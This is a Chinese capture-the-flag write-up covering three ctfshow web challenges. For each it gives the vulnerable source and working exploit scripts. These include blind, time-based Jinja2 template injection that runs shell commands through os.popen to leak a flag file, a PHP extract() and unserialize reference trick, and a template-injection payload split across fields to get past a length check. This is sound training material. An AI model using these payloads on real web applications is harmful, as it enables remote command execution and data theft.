[ctfshow]击剑杯 web

文章目录

  • 近在眼前
    • ssti盲注脚本
  • 给我看看
  • 通关大佬

近在眼前

#!/usr/bin/env python3

from flask import Flask, render_template_string, request
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address

app = Flask(__name__)
limiter = Limiter(
    app,
    key_func=get_remote_address,
    default_limits=["10000 per hour"]
)


@limiter.limit("5/second", override_defaults=True)
@app.route('/')
def index():
    return ("\x3cpre\x3e\x3ccode\x3e%s\x3c/code\x3e\x3c/pre\x3e")%open(__file__).read()
//<pre><code>%s</code></pre>

@limiter.limit("5/second", override_defaults=True)
@app.route('/ssti')
def check():
    flag = open("/app/flag.txt", 'r').read().strip()
    if "input" in request.args:
        query = request.args["input"]
        render_template_string(query)
        return "Thank you for your input."
    return "No input found."


app.run('0.0.0.0', 80)

ssti盲注,过滤了的会报500 Internal Server Error

之前用到的ssti盲注脚本

import requests
import string
abt = string.ascii_lowercase+string.digits+'-_{}'
//abcdefghijklmnopqrstuvwxyz0123456789-_{}
url = 'http://294fdcdb-60bd-4f69-8135-c22c1b7bc260.challenge.ctf.show/'
cmd = 'ls /'
ans = ''
for i in range(0,80):
    for le in abt:
        payload = '{%if []["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()[64]["\\x5f\\x5finit\\x5f\\x5f"]["\\x5f\\x5fglobals\\x5f\\x5f"]["\\x5f\\x5fbuiltins\\x5f\\x5f"]["\\x5f\\x5fimport\\x5f\\x5f"]("os")["\\x5f\\x5fdict\\x5f\\x5f"]["popen"]("'+cmd+'")["read"]()['+str(i)+']=="'+le+'"%}coleak{%endif%}'
        data = {'key':payload}
        r = requests.post(url,data)
        if 'coleak' in r.text:
            ans += le
            print('ans = '+ans)
            break

这里需要修改payload为

if [ `cut -c 1 /c.txt` = "c" ];then sleep 2;fi

cut命令可以从一个文本文件或者文本流中提取文本列。
-b :以字节为单位进行分割。这些字节位置将忽略多字节字符边界,除非也指定了 -n 标志。
-c :以字符为单位进行分割。
-d :自定义分隔符,默认为制表符。
-f :与-d一起使用,指定显示哪个区域。
-n :取消分割多字节字符。仅和 -b 标志一起使用。如果字符的最后一个字节落在由 -b 标志的 List 参数指示的
范围之内,该字符将被写出;否则,该字符将被排除

ssti盲注脚本

import string

import requests as req
import time

char_set = string.ascii_lowercase+string.digits+'-_{}'
sess = req.session()
flag = {}
for i in range(1, 46):
    for c in char_set:
        url = r"""http://1bfa811e-2bec-419c-a3e7-da1d60d1c9b5.challenge.ctf.show/ssti?input=
        {{ config.__class__.__init__.__globals__['os'].popen('if [ `cut -c %d  /app/flag.txt` = "%s" ];then sleep 1;fi').read() }}
        """ % (i, c)
        time.sleep(0.2)
        resp = sess.get(url)
        if resp.elapsed.seconds >= 1:
            print(c, end='')
            flag[i] = c
print(flag)
import string
import time

import requests

_url = 'http://1bfa811e-2bec-419c-a3e7-da1d60d1c9b5.challenge.ctf.show/ssti?input='
_payload_1 ="{%25 set flag=config.__class__.__init__.__globals__['os'].popen('cat /app/flag.txt').read()%25}{%25 set sleep=config.__class__.__init__.__globals__['os'].popen('sleep 1')%25}{%25if '"
_payload_2 = "' in flag%25}{{sleep.read()}}{%25endif%25}"
r = requests.session()

charset = string.ascii_lowercase+string.digits+'-_{}'
data = ''
content = 'ctfshow{'

for _ in range(50):
    for i in charset:
        time.sleep(0.2)
        data = content + i
        url = _url + _payload_1 + data + _payload_2
        try:
            r.get(url=url, timeout=(1, 1))
        except Exception as e:
            content = data
            print(content)
            break
print(data)
# ctfshow{64915f1e-57be-4434-8994-d0f555e677f8}

给我看看

  1. $you_never_know是编码后的随机数,考点是&引用
  2. 利用extract($_POST);覆盖变量

header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
require_once("flag.php");

class whoami{
    public $name;
    public $your_answer;
    public $useless;

    public function __construct(){
        $this->name='ctfshow第一深情';
        $this->your_answer='Only you know';
        $this->useless="I_love_u";
    }

    public function __wakeup(){
        global $flag;
        global $you_never_know;
        $this->name=$you_never_know;

        if($this->your_answer === $this->name){
            echo $flag;
        }
    }
}

$secret = $_GET['s'];
if(isset($secret)){
    if($secret==="给我看看!"){
        extract($_POST);
        if($secret==="给我看看!"){    
            die("");
        }
        unserialize($secret);
    }
}else{
    show_source(__FILE__);
}

指针取地址方式


$a="coleak";
$b=&$a;
$c=$a;
$a="cc";
echo $b.PHP_EOL;
echo $c;
?>

cc
coleak

php的引用(就是在变量或者函数、对象等前面加上&符号)
在PHP 中引用的意思是:不同的名字访问同一个变量内容。
被引用的两者之间没有任何区别,它们都使用了同一个变量容器。 将这两者分开的唯一方法是使用 unset() 函数销毁其中任何一个变量。


$a = 11;
$b =& $a;
unset ($a);
$a++;
echo $a.PHP_EOL;
echo $b;
?>

1
11

poc


class whoami{
    public $name;
    public $your_answer;
    public $useless;
}
$a=new whoami();
$a->name=&$a->your_answer;
echo serialize($a).PHP_EOL;
//$this->your_answer === $this->name
?>

?s=给我看看!

secret=O:6:“whoami”:3:{s:4:“name”;N;s:11:“your_answer”;R:2;s:7:“useless”;N;}

通关大佬

这里本地搭建个ssti靶场

from flask import Flask, request, render_template_string

app = Flask(__name__)


@app.route('/ssti')
def check():
    query = request.args["input"]
    return render_template_string(query)


if __name__ == '__main__':
    app.run()

在py3下执行命令的最短方式为

ssti?input={{config.__init__.__globals__.os.popen('ipconfig').read()}}

hint

据说输入框能连起来的


@app.route('/madlib', methods=['POST'])
def madlib():
    if len(request.json) == 5:
        verb = request.json.get('verb')
        noun = request.json.get('noun')
        adjective = request.json.get('adjective')
        person = request.json.get('person')
        place = request.json.get('place')
        params = [verb, noun, adjective, person, place]
        if any(len(i) > 21 for i in params):
            return 'your words must not be longer than 21 characters!', 403
        madlib = f'To find out what this is you must {verb} the internet then get to the {noun} system through the visual MAC hard drive and program the open-source but overriding the bus won\'t do anything so you need to parse the online SSD transmitter, then index the neural DHCP card {adjective}.{person} taught me this trick when we met in {place} allowing you to download the knowledge of what this is directly to your brain.'
        return render_template_string(madlib)
    return 'This madlib only takes five words', 403

{adjective}.{person}这里连着的,一起的长度可以达到42,其余位置的长度最多为21

脚本如下

脚本1

import requests
import re

url = 'http://05fcf52c-632f-487e-8bff-f9bb5615b387.challenge.ctf.show/madlib'

payload ={"verb": ["{{config.__class__.__init__.__globals__['os'].popen('cat flag.txt').read()}}"], "noun": "a","adjective": "a", "person": "a", "place": "a"}

r = requests.post(url, json=payload)
flag=r.text
# flag = re.findall('ctfshow{.*}', r.text)[0]

print(flag)

利用[]绕过长度限制,如下

a=["{{config.__class__.__init__.__globals__['os'].popen('cat flag.txt').read()}}"]
noun='a'
adjective='a'
person='a'
place='a'
params = [a, noun, adjective, person, place]
# if any(len(i) > 21 for i in params):
#         print(1)
for i in params:
        print(len(i))
#1 1 1 1 1

脚本2

import requests
import re
url="http://6c9c5244-868c-4959-9ac0-f5081dcaabba.challenge.ctf.show/madlib"
payload = {
    "verb":"{%set x=config%}",
    "noun":"{%set x=x.__init__%}",
    "adjective":"{%set x=x.__globals__",
    "person":"os.popen('cat fl*')%}",
    "place":"{{x.read()}}"
}
r = requests.post(url,json=payload)
print(r.text)
flag = re.findall(r'ctfshow{.*}',r.text)[0]
print(flag)
#{{config.__init__.__globals__.os.popen('ipconfig').read()}}

你可能感兴趣的:(#,web安全,flask,python,php,网络安全,web安全)